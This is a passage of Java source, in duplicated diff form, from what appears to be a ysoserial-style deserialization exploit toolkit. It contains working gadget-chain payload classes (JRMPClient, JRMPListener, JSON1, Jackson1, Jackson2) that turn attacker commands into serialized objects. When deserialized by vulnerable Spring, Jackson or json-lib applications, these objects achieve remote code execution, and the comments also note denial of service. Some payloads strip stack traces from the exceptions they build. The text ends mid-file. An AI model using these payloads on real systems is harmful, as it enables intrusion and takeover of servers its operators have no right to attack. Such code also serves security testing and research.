||||||
import java.rmi.server.ObjID;
|
import java.rmi.server.ObjID;
|
||||||
import java.rmi.server.RemoteObjectInvocationHandler;
|
import java.rmi.server.RemoteObjectInvocationHandler;
|
||||||
import java.util.Random;
|
import java.util.Random;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* UnicastRef.newCall(RemoteObject, Operation[], int, long)
|
* UnicastRef.newCall(RemoteObject, Operation[], int, long)
|
||||||
* DGCImpl_Stub.dirty(ObjID[], long, Lease)
|
* DGCImpl_Stub.dirty(ObjID[], long, Lease)
|
||||||
* DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
|
* DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
|
||||||
* DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
|
* DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
|
||||||
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
|
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
|
||||||
* LiveRef.read(ObjectInput, boolean)
|
* LiveRef.read(ObjectInput, boolean)
|
||||||
* UnicastRef.readExternal(ObjectInput)
|
* UnicastRef.readExternal(ObjectInput)
|
||||||
* <p>
|
* <p>
|
||||||
* Thread.start()
|
* Thread.start()
|
||||||
* DGCClient$EndpointEntry.<init>(Endpoint)
|
* DGCClient$EndpointEntry.<init>(Endpoint)
|
||||||
* DGCClient$EndpointEntry.lookup(Endpoint)
|
* DGCClient$EndpointEntry.lookup(Endpoint)
|
||||||
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
|
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
|
||||||
* LiveRef.read(ObjectInput, boolean)
|
* LiveRef.read(ObjectInput, boolean)
|
||||||
* UnicastRef.readExternal(ObjectInput)
|
* UnicastRef.readExternal(ObjectInput)
|
||||||
* <p>
|
* <p>
|
||||||
* Requires:
|
* Requires:
|
||||||
* - JavaSE
|
* - JavaSE
|
||||||
* <p>
|
* <p>
|
||||||
* Argument:
|
* Argument:
|
||||||
* - host:port to connect to, host only chooses random port (DOS if repeated many times)
|
* - host:port to connect to, host only chooses random port (DOS if repeated many times)
|
||||||
* <p>
|
* <p>
|
||||||
* Yields:
|
* Yields:
|
||||||
* * an established JRMP connection to the endpoint (if reachable)
|
* * an established JRMP connection to the endpoint (if reachable)
|
||||||
* * a connected RMI Registry proxy
|
* * a connected RMI Registry proxy
|
||||||
* * one system thread per endpoint (DOS)
|
* * one system thread per endpoint (DOS)
|
||||||
*
|
*
|
||||||
* @author mbechler
|
* @author mbechler
|
||||||
*/
|
*/
|
||||||
@SuppressWarnings({"unused"})
|
@SuppressWarnings({"unused"})
|
||||||
@Authors({Authors.MBECHLER})
|
@Authors({Authors.MBECHLER})
|
||||||
public class JRMPClient implements ObjectPayload<Object> {
|
public class JRMPClient implements ObjectPayload<Object> {
|
||||||
|
|
||||||
public Object getObject(String command) throws Exception {
|
public Object getObject(String command) throws Exception {
|
||||||
String host;
|
String host;
|
||||||
int port;
|
int port;
|
||||||
int sep = command.indexOf(':');
|
int sep = command.indexOf(':');
|
||||||
if (sep < 0) {
|
if (sep < 0) {
|
||||||
port = new Random().nextInt(65535);
|
port = new Random().nextInt(65535);
|
||||||
host = command;
|
host = command;
|
||||||
} else {
|
} else {
|
||||||
host = command.substring(0, sep);
|
host = command.substring(0, sep);
|
||||||
port = Integer.parseInt(command.substring(sep + 1));
|
port = Integer.parseInt(command.substring(sep + 1));
|
||||||
}
|
}
|
||||||
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
|
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
|
||||||
TCPEndpoint te = new TCPEndpoint(host, port);
|
TCPEndpoint te = new TCPEndpoint(host, port);
|
||||||
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
|
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
|
||||||
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
|
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
|
||||||
return Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[]{
|
return Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[]{
|
||||||
Registry.class
|
Registry.class
|
||||||
}, obj);
|
}, obj);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,38 +1,38 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import sun.rmi.server.UnicastRef;
|
import sun.rmi.server.UnicastRef;
|
||||||
import sun.rmi.transport.LiveRef;
|
import sun.rmi.transport.LiveRef;
|
||||||
import sun.rmi.transport.tcp.TCPEndpoint;
|
import sun.rmi.transport.tcp.TCPEndpoint;
|
||||||
|
|
||||||
import java.lang.reflect.Proxy;
|
import java.lang.reflect.Proxy;
|
||||||
import java.rmi.activation.Activator;
|
import java.rmi.activation.Activator;
|
||||||
import java.rmi.server.ObjID;
|
import java.rmi.server.ObjID;
|
||||||
import java.rmi.server.RemoteObjectInvocationHandler;
|
import java.rmi.server.RemoteObjectInvocationHandler;
|
||||||
import java.util.Random;
|
import java.util.Random;
|
||||||
|
|
||||||
@SuppressWarnings({"unused"})
|
@SuppressWarnings({"unused"})
|
||||||
@Authors({"mbechler"})
|
@Authors({"mbechler"})
|
||||||
public class JRMPClient_Activator implements ObjectPayload<Activator> {
|
public class JRMPClient_Activator implements ObjectPayload<Activator> {
|
||||||
@Override
|
@Override
|
||||||
public Activator getObject(String command) throws Exception {
|
public Activator getObject(String command) throws Exception {
|
||||||
UnicastRef ref = JRMPSource(command);
|
UnicastRef ref = JRMPSource(command);
|
||||||
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
|
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
|
||||||
return (Activator) Proxy.newProxyInstance(JRMPClient_Activator.class.getClassLoader(), new Class[]{Activator.class}, obj);
|
return (Activator) Proxy.newProxyInstance(JRMPClient_Activator.class.getClassLoader(), new Class[]{Activator.class}, obj);
|
||||||
}
|
}
|
||||||
|
|
||||||
static UnicastRef JRMPSource(String command) {
|
static UnicastRef JRMPSource(String command) {
|
||||||
String host;
|
String host;
|
||||||
int port, sep = command.indexOf(':');
|
int port, sep = command.indexOf(':');
|
||||||
if (sep < 0) {
|
if (sep < 0) {
|
||||||
port = (new Random()).nextInt(65535);
|
port = (new Random()).nextInt(65535);
|
||||||
host = command;
|
host = command;
|
||||||
} else {
|
} else {
|
||||||
host = command.substring(0, sep);
|
host = command.substring(0, sep);
|
||||||
port = Integer.parseInt(command.substring(sep + 1));
|
port = Integer.parseInt(command.substring(sep + 1));
|
||||||
}
|
}
|
||||||
ObjID id = new ObjID((new Random()).nextInt());
|
ObjID id = new ObjID((new Random()).nextInt());
|
||||||
TCPEndpoint te = new TCPEndpoint(host, port);
|
TCPEndpoint te = new TCPEndpoint(host, port);
|
||||||
return new UnicastRef(new LiveRef(id, te, false));
|
return new UnicastRef(new LiveRef(id, te, false));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,16 +1,16 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import sun.rmi.server.UnicastRef;
|
import sun.rmi.server.UnicastRef;
|
||||||
|
|
||||||
import java.rmi.server.RemoteObjectInvocationHandler;
|
import java.rmi.server.RemoteObjectInvocationHandler;
|
||||||
|
|
||||||
@SuppressWarnings({"unused"})
|
@SuppressWarnings({"unused"})
|
||||||
@Authors({"mbechler"})
|
@Authors({"mbechler"})
|
||||||
public class JRMPClient_Obj implements ObjectPayload<RemoteObjectInvocationHandler> {
|
public class JRMPClient_Obj implements ObjectPayload<RemoteObjectInvocationHandler> {
|
||||||
@Override
|
@Override
|
||||||
public RemoteObjectInvocationHandler getObject(String command) throws Exception {
|
public RemoteObjectInvocationHandler getObject(String command) throws Exception {
|
||||||
UnicastRef ref = JRMPClient_Activator.JRMPSource(command);
|
UnicastRef ref = JRMPClient_Activator.JRMPSource(command);
|
||||||
return new RemoteObjectInvocationHandler(ref);
|
return new RemoteObjectInvocationHandler(ref);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,47 +1,47 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
import sun.rmi.server.ActivationGroupImpl;
|
import sun.rmi.server.ActivationGroupImpl;
|
||||||
import sun.rmi.server.UnicastServerRef;
|
import sun.rmi.server.UnicastServerRef;
|
||||||
|
|
||||||
import java.rmi.server.RemoteObject;
|
import java.rmi.server.RemoteObject;
|
||||||
import java.rmi.server.RemoteRef;
|
import java.rmi.server.RemoteRef;
|
||||||
import java.rmi.server.UnicastRemoteObject;
|
import java.rmi.server.UnicastRemoteObject;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Gadget chain:
|
* Gadget chain:
|
||||||
* UnicastRemoteObject.readObject(ObjectInputStream) line: 235
|
* UnicastRemoteObject.readObject(ObjectInputStream) line: 235
|
||||||
* UnicastRemoteObject.reexport() line: 266
|
* UnicastRemoteObject.reexport() line: 266
|
||||||
* UnicastRemoteObject.exportObject(Remote, int) line: 320
|
* UnicastRemoteObject.exportObject(Remote, int) line: 320
|
||||||
* UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383
|
* UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383
|
||||||
* UnicastServerRef.exportObject(Remote, Object, boolean) line: 208
|
* UnicastServerRef.exportObject(Remote, Object, boolean) line: 208
|
||||||
* LiveRef.exportObject(Target) line: 147
|
* LiveRef.exportObject(Target) line: 147
|
||||||
* TCPEndpoint.exportObject(Target) line: 411
|
* TCPEndpoint.exportObject(Target) line: 411
|
||||||
* TCPTransport.exportObject(Target) line: 249
|
* TCPTransport.exportObject(Target) line: 249
|
||||||
* TCPTransport.listen() line: 319
|
* TCPTransport.listen() line: 319
|
||||||
* <p>
|
* <p>
|
||||||
* Requires:
|
* Requires:
|
||||||
* - JavaSE
|
* - JavaSE
|
||||||
* <p>
|
* <p>
|
||||||
* Argument:
|
* Argument:
|
||||||
* - Port number to open listener to
|
* - Port number to open listener to
|
||||||
*/
|
*/
|
||||||
@SuppressWarnings({
|
@SuppressWarnings({
|
||||||
"restriction"
|
"restriction"
|
||||||
})
|
})
|
||||||
@Authors({Authors.MBECHLER})
|
@Authors({Authors.MBECHLER})
|
||||||
public class JRMPListener implements ObjectPayload<UnicastRemoteObject> {
|
public class JRMPListener implements ObjectPayload<UnicastRemoteObject> {
|
||||||
@Override
|
@Override
|
||||||
public UnicastRemoteObject getObject(String command) throws Exception {
|
public UnicastRemoteObject getObject(String command) throws Exception {
|
||||||
int jrmpPort = Integer.parseInt(command);
|
int jrmpPort = Integer.parseInt(command);
|
||||||
UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[]{
|
UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[]{
|
||||||
RemoteRef.class
|
RemoteRef.class
|
||||||
}, new Object[]{
|
}, new Object[]{
|
||||||
new UnicastServerRef(jrmpPort)
|
new UnicastServerRef(jrmpPort)
|
||||||
});
|
});
|
||||||
|
|
||||||
Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);
|
Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);
|
||||||
return uro;
|
return uro;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,90 +1,90 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
import net.sf.json.JSONObject;
|
import net.sf.json.JSONObject;
|
||||||
import org.springframework.aop.framework.AdvisedSupport;
|
import org.springframework.aop.framework.AdvisedSupport;
|
||||||
|
|
||||||
import javax.management.openmbean.*;
|
import javax.management.openmbean.*;
|
||||||
import javax.xml.transform.Templates;
|
import javax.xml.transform.Templates;
|
||||||
import java.lang.reflect.InvocationHandler;
|
import java.lang.reflect.InvocationHandler;
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
|
||||||
import static com.qi4l.JYso.gadgets.utils.Utils.*;
|
import static com.qi4l.JYso.gadgets.utils.Utils.*;
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* A bit more convoluted example
|
* A bit more convoluted example
|
||||||
* <p>
|
* <p>
|
||||||
* com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
|
* com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
|
||||||
* java.lang.reflect.Method.invoke(Object, Object...)
|
* java.lang.reflect.Method.invoke(Object, Object...)
|
||||||
* org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[])
|
* org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[])
|
||||||
* org.springframework.aop.framework.JdkDynamicAopProxy.invoke(Object, Method, Object[])
|
* org.springframework.aop.framework.JdkDynamicAopProxy.invoke(Object, Method, Object[])
|
||||||
* $Proxy0.getOutputProperties()
|
* $Proxy0.getOutputProperties()
|
||||||
* java.lang.reflect.Method.invoke(Object, Object...)
|
* java.lang.reflect.Method.invoke(Object, Object...)
|
||||||
* org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(Method, Object, Object[])
|
* org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(Method, Object, Object[])
|
||||||
* org.apache.commons.beanutils.PropertyUtilsBean.getSimpleProperty(Object, String)
|
* org.apache.commons.beanutils.PropertyUtilsBean.getSimpleProperty(Object, String)
|
||||||
* org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty(Object, String)
|
* org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty(Object, String)
|
||||||
* org.apache.commons.beanutils.PropertyUtilsBean.getProperty(Object, String)
|
* org.apache.commons.beanutils.PropertyUtilsBean.getProperty(Object, String)
|
||||||
* org.apache.commons.beanutils.PropertyUtils.getProperty(Object, String)
|
* org.apache.commons.beanutils.PropertyUtils.getProperty(Object, String)
|
||||||
* net.sf.json.JSONObject.defaultBeanProcessing(Object, JsonConfig)
|
* net.sf.json.JSONObject.defaultBeanProcessing(Object, JsonConfig)
|
||||||
* net.sf.json.JSONObject._fromBean(Object, JsonConfig)
|
* net.sf.json.JSONObject._fromBean(Object, JsonConfig)
|
||||||
* net.sf.json.JSONObject.fromObject(Object, JsonConfig)
|
* net.sf.json.JSONObject.fromObject(Object, JsonConfig)
|
||||||
* net.sf.json.JSONObject(AbstractJSON)._processValue(Object, JsonConfig)
|
* net.sf.json.JSONObject(AbstractJSON)._processValue(Object, JsonConfig)
|
||||||
* net.sf.json.JSONObject._processValue(Object, JsonConfig)
|
* net.sf.json.JSONObject._processValue(Object, JsonConfig)
|
||||||
* net.sf.json.JSONObject.processValue(Object, JsonConfig)
|
* net.sf.json.JSONObject.processValue(Object, JsonConfig)
|
||||||
* net.sf.json.JSONObject.containsValue(Object, JsonConfig)
|
* net.sf.json.JSONObject.containsValue(Object, JsonConfig)
|
||||||
* net.sf.json.JSONObject.containsValue(Object)
|
* net.sf.json.JSONObject.containsValue(Object)
|
||||||
* javax.management.openmbean.TabularDataSupport.containsValue(CompositeData)
|
* javax.management.openmbean.TabularDataSupport.containsValue(CompositeData)
|
||||||
* javax.management.openmbean.TabularDataSupport.equals(Object)
|
* javax.management.openmbean.TabularDataSupport.equals(Object)
|
||||||
* java.util.HashMap<K,V>.putVal(int, K, V, boolean, boolean)
|
* java.util.HashMap<K,V>.putVal(int, K, V, boolean, boolean)
|
||||||
* java.util.HashMap<K,V>.readObject(ObjectInputStream)
|
* java.util.HashMap<K,V>.readObject(ObjectInputStream)
|
||||||
*
|
*
|
||||||
* @author mbechler
|
* @author mbechler
|
||||||
*/
|
*/
|
||||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||||
@Dependencies({"net.sf.json-lib:json-lib:jar:jdk15:2.4", "org.springframework:spring-aop:4.1.4.RELEASE",
|
@Dependencies({"net.sf.json-lib:json-lib:jar:jdk15:2.4", "org.springframework:spring-aop:4.1.4.RELEASE",
|
||||||
// deep deps
|
// deep deps
|
||||||
"aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2", "commons-lang:commons-lang:2.6",
|
"aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2", "commons-lang:commons-lang:2.6",
|
||||||
"net.sf.ezmorph:ezmorph:1.0.6", "commons-beanutils:commons-beanutils:1.9.2",
|
"net.sf.ezmorph:ezmorph:1.0.6", "commons-beanutils:commons-beanutils:1.9.2",
|
||||||
"org.springframework:spring-core:4.1.4.RELEASE", "commons-collections:commons-collections:3.1"})
|
"org.springframework:spring-core:4.1.4.RELEASE", "commons-collections:commons-collections:3.1"})
|
||||||
@Authors({Authors.MBECHLER})
|
@Authors({Authors.MBECHLER})
|
||||||
public class JSON1 implements ObjectPayload<Object> {
|
public class JSON1 implements ObjectPayload<Object> {
|
||||||
|
|
||||||
public Object getObject(String command) throws Exception {
|
public Object getObject(String command) throws Exception {
|
||||||
final Object tql;
|
final Object tql;
|
||||||
tql = Gadgets.createTemplatesImpl(command);
|
tql = Gadgets.createTemplatesImpl(command);
|
||||||
Class ifaces = Templates.class;
|
Class ifaces = Templates.class;
|
||||||
CompositeType rt = new CompositeType("a", "b",
|
CompositeType rt = new CompositeType("a", "b",
|
||||||
new String[]{"a"},
|
new String[]{"a"},
|
||||||
new String[]{"a"},
|
new String[]{"a"},
|
||||||
new OpenType[]{javax.management.openmbean.SimpleType.INTEGER}
|
new OpenType[]{javax.management.openmbean.SimpleType.INTEGER}
|
||||||
);
|
);
|
||||||
TabularType tt = new TabularType("a", "b", rt, new String[]{"a"});
|
TabularType tt = new TabularType("a", "b", rt, new String[]{"a"});
|
||||||
TabularDataSupport t1 = new TabularDataSupport(tt);
|
TabularDataSupport t1 = new TabularDataSupport(tt);
|
||||||
TabularDataSupport t2 = new TabularDataSupport(tt);
|
TabularDataSupport t2 = new TabularDataSupport(tt);
|
||||||
|
|
||||||
// we need to make payload implement composite data
|
// we need to make payload implement composite data
|
||||||
// it's very likely that there are other proxy impls that could be used
|
// it's very likely that there are other proxy impls that could be used
|
||||||
AdvisedSupport as = new AdvisedSupport();
|
AdvisedSupport as = new AdvisedSupport();
|
||||||
as.setTarget(tql);
|
as.setTarget(tql);
|
||||||
InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy", as);
|
InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections.newInstance("org.springframework.aop.framework.JdkDynamicAopProxy", as);
|
||||||
InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(createMap("getCompositeType", rt));
|
InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(createMap("getCompositeType", rt));
|
||||||
InvocationHandler invocationHandler = (InvocationHandler) Reflections.newInstance("com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl");
|
InvocationHandler invocationHandler = (InvocationHandler) Reflections.newInstance("com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl");
|
||||||
((Map) Reflections.getFieldValue(invocationHandler, "classToInvocationHandler")).put(CompositeData.class, cdsInvocationHandler);
|
((Map) Reflections.getFieldValue(invocationHandler, "classToInvocationHandler")).put(CompositeData.class, cdsInvocationHandler);
|
||||||
Reflections.setFieldValue(invocationHandler, "defaultHandler", delegateInvocationHandler);
|
Reflections.setFieldValue(invocationHandler, "defaultHandler", delegateInvocationHandler);
|
||||||
final CompositeData cdsProxy = createProxy(invocationHandler, CompositeData.class, ifaces);
|
final CompositeData cdsProxy = createProxy(invocationHandler, CompositeData.class, ifaces);
|
||||||
|
|
||||||
JSONObject jo = new JSONObject();
|
JSONObject jo = new JSONObject();
|
||||||
Map m = new HashMap();
|
Map m = new HashMap();
|
||||||
m.put("t", cdsProxy);
|
m.put("t", cdsProxy);
|
||||||
Reflections.setFieldValue(jo, "properties", m);
|
Reflections.setFieldValue(jo, "properties", m);
|
||||||
Reflections.setFieldValue(jo, "properties", m);
|
Reflections.setFieldValue(jo, "properties", m);
|
||||||
Reflections.setFieldValue(t1, "dataMap", jo);
|
Reflections.setFieldValue(t1, "dataMap", jo);
|
||||||
Reflections.setFieldValue(t2, "dataMap", jo);
|
Reflections.setFieldValue(t2, "dataMap", jo);
|
||||||
return makeMap(t1, t2);
|
return makeMap(t1, t2);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,46 +1,46 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import com.fasterxml.jackson.databind.node.POJONode;
|
import com.fasterxml.jackson.databind.node.POJONode;
|
||||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
import javassist.ClassPool;
|
import javassist.ClassPool;
|
||||||
import javassist.CtClass;
|
import javassist.CtClass;
|
||||||
import javassist.CtMethod;
|
import javassist.CtMethod;
|
||||||
|
|
||||||
import javax.management.BadAttributeValueExpException;
|
import javax.management.BadAttributeValueExpException;
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
|
|
||||||
import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue;
|
import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue;
|
||||||
|
|
||||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||||
// 在触发 getter 的时候是以随机顺序触发的,所以概率打空
|
// 在触发 getter 的时候是以随机顺序触发的,所以概率打空
|
||||||
public class Jackson1 implements ObjectPayload<Object> {
|
public class Jackson1 implements ObjectPayload<Object> {
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public Object getObject(String command) throws Exception {
|
public Object getObject(String command) throws Exception {
|
||||||
final Object tempImpl;
|
final Object tempImpl;
|
||||||
tempImpl = Gadgets.createTemplatesImpl(command);
|
tempImpl = Gadgets.createTemplatesImpl(command);
|
||||||
|
|
||||||
try {
|
try {
|
||||||
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
|
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
|
||||||
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
|
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
|
||||||
ctClass.removeMethod(writeReplace);
|
ctClass.removeMethod(writeReplace);
|
||||||
ctClass.toClass();
|
ctClass.toClass();
|
||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
POJONode node = new POJONode(tempImpl);
|
POJONode node = new POJONode(tempImpl);
|
||||||
|
|
||||||
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
||||||
setFieldValue(val, "val", node);
|
setFieldValue(val, "val", node);
|
||||||
//清除堆栈信息
|
//清除堆栈信息
|
||||||
setFieldValue(val, "stackTrace", new StackTraceElement[0]);
|
setFieldValue(val, "stackTrace", new StackTraceElement[0]);
|
||||||
setFieldValue(val, "cause", null);
|
setFieldValue(val, "cause", null);
|
||||||
setFieldValue(val, "suppressedExceptions", null);
|
setFieldValue(val, "suppressedExceptions", null);
|
||||||
|
|
||||||
HashMap hashMap = new HashMap();
|
HashMap hashMap = new HashMap();
|
||||||
hashMap.put(tempImpl, val);
|
hashMap.put(tempImpl, val);
|
||||||
|
|
||||||
return hashMap;
|
return hashMap;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,48 +1,48 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import com.fasterxml.jackson.databind.node.POJONode;
|
import com.fasterxml.jackson.databind.node.POJONode;
|
||||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
import javassist.ClassPool;
|
import javassist.ClassPool;
|
||||||
import javassist.CtClass;
|
import javassist.CtClass;
|
||||||
import javassist.CtMethod;
|
import javassist.CtMethod;
|
||||||
import org.springframework.aop.framework.AdvisedSupport;
|
import org.springframework.aop.framework.AdvisedSupport;
|
||||||
|
|
||||||
import javax.management.BadAttributeValueExpException;
|
import javax.management.BadAttributeValueExpException;
|
||||||
import javax.xml.transform.Templates;
|
import javax.xml.transform.Templates;
|
||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.InvocationHandler;
|
import java.lang.reflect.InvocationHandler;
|
||||||
import java.lang.reflect.Proxy;
|
import java.lang.reflect.Proxy;
|
||||||
|
|
||||||
import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue;
|
import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue;
|
||||||
|
|
||||||
@SuppressWarnings({"rawtypes", "unused"})
|
@SuppressWarnings({"rawtypes", "unused"})
|
||||||
public class Jackson2 implements ObjectPayload<Object> {
|
public class Jackson2 implements ObjectPayload<Object> {
|
||||||
public static Object makeTemplatesImplAopProxy(String cmd) throws Exception {
|
public static Object makeTemplatesImplAopProxy(String cmd) throws Exception {
|
||||||
AdvisedSupport advisedSupport = new AdvisedSupport();
|
AdvisedSupport advisedSupport = new AdvisedSupport();
|
||||||
advisedSupport.setTarget(Gadgets.createTemplatesImpl(cmd));
|
advisedSupport.setTarget(Gadgets.createTemplatesImpl(cmd));
|
||||||
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
|
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
|
||||||
constructor.setAccessible(true);
|
constructor.setAccessible(true);
|
||||||
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
|
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
|
||||||
return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
|
return Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
|
||||||
}
|
}
|
||||||
|
|
||||||
public Object getObject(final String command) throws Exception {
|
public Object getObject(final String command) throws Exception {
|
||||||
|
|
||||||
try {
|
try {
|
||||||
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
|
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
|
||||||
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
|
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
|
||||||
ctClass.removeMethod(writeReplace);
|
ctClass.removeMethod(writeReplace);
|
||||||
ctClass.toClass();
|
ctClass.toClass();
|
||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
|
|
||||||
}
|
}
|
||||||
POJONode node = new POJONode(makeTemplatesImplAopProxy(command));
|
POJONode node = new POJONode(makeTemplatesImplAopProxy(command));
|
||||||
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
|
||||||
setFieldValue(val, "val", node);
|
setFieldValue(val, "val", node);
|
||||||
//清除堆栈信息
|
//清除堆栈信息
|
||||||
setFieldValue(val, "stackTrace", new StackTraceElement[0]);
|
setFieldValue(val, "stackTrace", new StackTraceElement[0]);
|
||||||
setFieldValue(val, "cause", null);
|
setFieldValue(val, "cause", null);
|
||||||
setFieldValue(val, "suppressedExceptions", null);
|
setFieldValue(val, "suppressedExceptions", null);
|
||||||
return val;
|
return val;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,125 +1,125 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import com.fasterxml.jackson.databind.node.POJONode;
|
import com.fasterxml.jackson.databind.node.POJONode;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
